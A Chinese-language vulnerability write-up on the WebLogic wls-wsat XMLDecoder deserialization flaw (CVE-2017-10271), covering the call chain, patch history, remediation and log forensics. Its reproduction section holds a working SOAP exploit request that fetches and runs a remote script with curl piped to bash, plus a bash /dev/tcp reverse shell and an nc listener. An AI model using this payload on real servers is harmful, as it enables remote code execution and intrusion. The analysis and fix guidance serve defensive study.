漏洞利用前提
- 影响版本
10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 , 12.2.1.2
原理简析
漏洞触发位置：wls-wsat.war
漏洞触发URL：/wls-wsat/CoordinatorPortType（POST）
漏洞的本质：构造SOAP（XML）格式的请求，在解析的过程中导致XMLDecoder反序列化漏洞
漏洞调用链:
- 分析漏洞调用链
weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest
weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld
weblogic.wsee.workarea.WorkContextXmlInputAdapter
在processRequest方法中,将var3传入readHeaderOld方法中,其中var3其实就是我们发过去的xml中的(意思就是我们可以控制)
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
.....
</java>
</work:WorkContext>
继续跟踪readHeadeOldr方法
在112行处,这行代码的大致意思就是将你POST传过来的xml数据作为参数实例化WorkContextXmlInputAdapter类,接下来,我们跟进一下这个类的构造函数
由图可见,构造函数直接利用XMLDecoder反序列化了传过来的xml数据,导致了漏洞
cve-2017-10271与3506他们的漏洞原理是一样的,只不过10271绕过了3506的补丁,我们来看下补丁是怎么处理的
图中红框内的代码是限制CVE-2017-3506漏洞利用的黑名单，这次补丁修补得非常的简陋，仅仅是根据POC中的object标签进行了修补，所以很快就出现了CVE-2017-10271漏洞。CVE-2017-10271的POC与CVE-2017-3506的POC很相似，只是将object标签换成了array或void等标签，即可触发远程代码执行漏洞。因此，在CVE-2017-10271漏洞爆发之后，Oracle官方也进行了补丁的完善，这一次的补丁考虑得比较全面，在黑名单中又添加了new,method,void,array等关键字进行漏洞修补，成功防御了CVE-2017-10271漏洞。
漏洞利用方法
接下来,我们手工利用一下这个漏洞
-
复现环境
weblogic 10.3.6.0
ip:本地环境(127.0.0.1) -
访问/wls-wsat/CoordinatorPortType11目录，存在下图则说明或许存在漏洞
注:/wls-wsat/CoordinatorPortType，/wls-wsat/RegistrationPortTypeRPC, /wls-wsat/ParticipantPortType，/wls-wsat/RegistrationRequesterPortType，
/wls-wsat/CoordinatorPortType11，/wls-wsat/RegistrationPortTypeRPC11，
/wls-wsat/ParticipantPortType11，/wls-wsat/RegistrationRequesterPortType11
上面这些路径都可以
- 攻击者服务器搭建一个http服务器(
python -m SimpleHttpServer 8001),并在web目录下构造一个shell脚本,内容如下
bash -i >& /dev/tcp/127.0.0.1/6666 0>&1
这行命令是用来反弹shell到攻击这服务器的(ip地址与端口根据真实情况进行修改)
并且在攻击者服务器上利用nc监听6666这个端口
nc -lvvp 6666 - 访问这个目录,利用burp抓包,修改请求为post,content-type为text/xml,构造如下xml数据并发送
POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
Host: localhost:7001
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 820
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>curl http://127.0.0.1:8001/a.sh|bash</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
上面的xml在被目标主机解析执行后,会加载攻击者http服务器(此处是127.0.0.1:8001)的shell脚本(a.sh), 并且执行这个shell脚本文件,然后就会主动连接攻击者的服务器.
攻击成功过后,会看到攻击者的http服务器收到了一个get请求,这个请求就是下载a.sh脚本
然后a.sh在受害机上执行后,攻击者服务器上收到反弹回来的shell,攻击完成
修复方案
更新到最新版本,打上10271的补丁,对访问wls-wsat的资源进行访问控制 ,或者根据业务所有需求，考虑是否删除WLS-WebServices组件。包含此组件路径为：
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
Middleware/wlserver_10.3/server/lib/wls-wsat.war
以上路径都在WebLogic安装处。删除以上文件之后，需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面。
痕迹分析
weblogic会记录所有的http,https请求到access.log目录下(理论上是这样的)但是我在10.3.6环境下测试并没有发现日志记录,http日志只是记录了状态码为404的http请求,但是看了其他很多关于webloigc日志的文章都是可以记录所有http请求的,所以,进行溯源时,还是可以关注一下http日志(当前域/servers/AdminServer/logs/access.log)
